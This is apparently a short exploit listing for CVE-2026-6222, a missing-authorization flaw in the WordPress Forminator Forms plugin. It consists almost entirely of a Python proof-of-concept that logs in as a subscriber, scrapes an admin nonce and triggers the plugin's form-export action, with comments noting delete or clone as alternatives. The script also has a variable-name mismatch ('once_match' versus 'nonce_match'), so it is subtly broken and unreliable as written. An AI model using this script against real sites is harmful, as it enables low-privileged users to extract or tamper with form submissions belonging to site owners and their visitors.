CVE-2026-6222 WordPress Forminator Forms 权限缺失漏洞

import requests import re # Configuration target_url = "http://example.com" username = "subscriber" password = "password" module_id = "123" # ID of the form/poll/quiz to target session = requests.Session() # 1. Login to get authenticated cookies login_payload = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url + "/wp-admin/" } login_response = session.post(target_url + "/wp-login.php", data=login_payload) if login_response.status_code != 200: print("Login failed") exit() # 2. Extract Nonce from forminatorData # Accessing the admin page (e.g., All Forms) to load the JS object admin_page = session.get(target_url + "/wp-admin/admin.php?page=forminator-entries") # Search for the nonce in the JavaScript object # Pattern: forminator_form_request:"<nonce_value>" once_match = re.search(r'forminator_form_request:"([a-zA-Z0-9]+)"', admin_page.text) if not nonce_match: print("Nonce not found") exit() nonce = nonce_match.group(1) print(f"Extracted Nonce: {nonce}") # 3. Exploit: Trigger Export (or delete/clone) # The action is typically dispatched via admin-post.php or admin-ajax.php # Based on the description, we target the processRequest logic. exploit_url = target_url + "/wp-admin/admin-post.php" payload = { "forminator_form_request": nonce, "forminator_id": module_id, "action": "forminator_form_export" # Vulnerable action } exploit_response = session.post(exploit_url, data=payload) if exploit_response.status_code == 200: print("Exploit request sent successfully.") print("Response:", exploit_response.text[:200]) else: print("Exploit request failed.")